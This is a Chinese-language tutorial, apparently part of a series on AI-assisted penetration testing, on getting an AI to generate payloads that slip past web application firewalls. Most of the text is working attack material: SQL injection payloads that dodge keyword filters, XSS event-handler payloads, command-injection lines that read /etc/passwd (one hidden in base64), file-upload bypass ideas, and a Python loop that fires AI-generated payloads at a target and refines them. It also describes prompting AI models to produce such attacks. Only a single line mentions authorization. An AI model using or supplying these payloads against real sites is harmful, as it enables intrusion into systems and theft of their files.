一句话:WAF 绕过的本质是"找到正则规则没覆盖的等价表达",而 AI 最擅长的就是穷举等价表达。
一、为什么 AI 特别适合做 WAF 绕过
WAF 绕过是一个语法等价变换问题:
原始: UNION SELECT 1,2,3
等价: /*!50000UNION*//**//*!50000SELECT*/1,2,3
等价: uNiOn/**/sElEcT/**/1,2,3
等价: UNION%0aSELECT%0a1,2,3
人类凭经验能想出 3~5 种;AI 能系统性地穷举 50 种。
AI 在这里的核心价值是"变形穷举器",而不是"漏洞发现器"。
二、WAF 绕过的六类通用手法
先建立分类框架(AI 能帮你据此生成):
| 类别 | 原理 | 示例 |
|---|---|---|
| 大小写变换 | 规则区分大小写但后端不区分 | UnIoN sElEcT |
| 注释插入 | 用注释打断关键字 | UN/**/ION、/*!UNION*/ |
| 编码变形 | URL/Unicode/HTML 实体 | %55NION、\u0055NION |
| 等价替换 | 用功能相同的语法替代 | 空格→/**/,AND→&& |
| 协议层拆分 | 分块传输、多重编码 | chunked、双重 URL 编码 |
| 语义等价 | 用不同函数实现同一目的 | SLEEP→BENCHMARK |
三、标准绕过 Prompt
# 背景
目标 WAF 拦截以下关键字(通过测试确认):
- 拦截: union, select, 单引号, 空格, sleep
- 未拦截: 注释符 /**/, %0a, 内联注释
- 数据库: MySQL 5.7
- 注入点: GET 参数 id(数字型)
# 任务
生成 20 条可绕过上述 WAF 的注入 Payload,要求:
1. 全部不含被拦截的关键字(大小写均不行)
2. 保留攻击语义
3. 覆盖不同类型(布尔盲注、时间盲注、报错)
4. 按成功率排序
# 输出
| Payload | 类型 | 绕过原理 |
AI 输出(节选):
| Payload | 类型 | 绕过原理 |
|---|---|---|
1/**/AND/**/1=1 |
布尔 | 注释替代空格 |
1%0aAND%0a1=1 |
布尔 | 换行替代空格 |
1 AND (SELECT 1 FROM(SELECT BEnCHMARK(5000000,MD5(1)))a) |
时间 | 大小写+等价函数保号 |
1 UNION/**/SELECT/**/1,2,3 |
联合 | 注释拆分 |
-1/**/UnIoN/**/SeLeCt/**/1,2,3 |
联合 | 大小写 |
四、针对性绕过:读懂规则再打
高级用法是先让 AI 推断规则:
# 输入
WAF 测试结果:
- `UNION SELECT` → 403
- `UNION SELECT`(全小写)→ 403
- `un/**/ion sel/**/ect` → 403
- `UNION/**/SELECT` → 403
- `union%09select`(Tab)→ 200(通过!)
- `1 AND 1=1` → 403
- `1&&1=1` → 200(通过!)
# 任务
1. 推断 WAF 的匹配规则(是黑名单?用的什么正则?)
2. 找出规则覆盖不到的盲区
3. 据此生成针对性 Payload
AI 会推理出:
推断:
- 规则匹配 "union" 和 "select" 组合(可能用 \s+ 或 [ ] 匹配间隔)
- 规则未覆盖 \t(%09)、未覆盖 &&
- 空格被匹配,Tab 未被匹配 → 正则是 [ ] 而非 \s
绕过策略:
- 用 %09 (Tab) 或 %0b (VT) 或 %0c (FF) 替代所有空格
- 用 && / || 替代 AND / OR
- 关键:Tab 未被拦截!
生成:
1%09UNION%09SELECT%091,2,3
1%09AND%091=1
这是 AI 明显超出人类的地方——它能从测试结果反推规则实现,这是纯逻辑推理。
五、XSS 的 WAF 绕过
# 背景
WAF 拦截 `<script`、`onerror=`、`alert(`
但放行:`<img`、`onload`、其他事件、`confirm`
内容会进入 HTML 属性上下文
# 任务
生成 15 条绕过 Payload,全部不含被拦截字符串。
AI 输出:
<img src=x onload=confirm(1)>
<svg onload=confirm(1)>
<body onload=confirm(1)>
<details open ontoggle=confirm(1)>
<input autofocus onfocus=confirm(1)>
<select autofocus onfocus=confirm(1)>
<video><source onerror=confirm(1)>
<iframe srcdoc="<img src=1 onerror=confirm(1)>">
六、命令注入的 WAF 绕过
# 背景
WAF 拦截:分号 `;`、管道 `|`、`cat`、空格
放行:换行、反引号、$()、制表符
目标:Linux
# 任务
给出 10 条绕过 Payload,实现读取 /etc/passwd。
AI 输出:
# 换行分隔(拦截分号时)
127.0.0.1%0acat%09/etc/passwd
# $() 替换反引号
127.0.0.1%0a$(cat</etc/passwd)
# 变量截取拼关键字
127.0.0.1%0aa=ca;b=t;$a$b</etc/passwd (若分号被拦,改用其他)
# 通配符绕过文件名
127.0.0.1%0acat%09/etc/pas?wd
127.0.0.1%0acat%09/etc/pass*
# 十六进制/编码
127.0.0.1%0a$(echo Y2F0IC9ldGMvcGFzc3dk|base64 -d)
七、文件上传的 WAF 绕过
# 背景
WAF + 后端双重校验:
- WAF 检查 Content-Type 和文件内容里的 `<?php`
- 后端只允许 .jpg/.png
# 任务
给出绕过思路,覆盖:
1. 短标签 / 其他 PHP 标签
2. 图片马 + 配合解析漏洞
3. 后缀绕过(.phtml/.php5/.php.jpg)
4. 内容编码绕过
八、自动化:AI 驱动的绕过闭环
def waf_bypass_loop(url, param, waf_response_marker="403"):
# 1. 初始生成一批 payload
payloads = ai_generate(f"生成 20 条绕过 XSS WAF 的 payload", count=20)
passed = []
for p in payloads:
resp = requests.get(url, params={param: p})
if waf_response_marker not in str(resp.status_code):
passed.append((p, resp.text[:300]))
# 2. 让 AI 分析哪些过了、哪些没过,反推规则
if passed:
analysis = ai_analyze(
passed=passed,
blocked=[p for p in payloads if p not in [x[0] for x in passed]],
task="推断 WAF 规则并生成第二轮针对性 payload"
)
# 3. 第二轮
round2 = ai_generate(analysis["next_payloads"])
...
return passed
九、注意事项
- 先确认规则再打:不要盲目用大字典轰炸,会触发告警
- 控制频率:WAF 有频率限制,速度过快全被拦
- 区分 WAF 拦截和业务错误:403 不一定来自 WAF
- 留存证据:绕过成功的请求响应要完整记录
- 注意合规:WAF 绕过测试必须在授权范围内
十、小结
AI 在 WAF 绕过的三个层次:
| 层次 | 做法 | AI 价值 |
|---|---|---|
| L1 盲猜 | 用公开 bypass 字典 | 中(能变形) |
| L2 定向 | 知道拦什么,生成绕过 | 高(等价穷举) |
| L3 反推 | 从测试结果推断规则 | 极高(逻辑推理) |
L3 才是 AI 的真正杀手锏——它能像人类专家一样"从现象反推机制",但速度快 100 倍。
下一篇:AI 辅助弱口令与凭据安全分析。
系列文章:AI 渗透测试与漏洞挖掘实战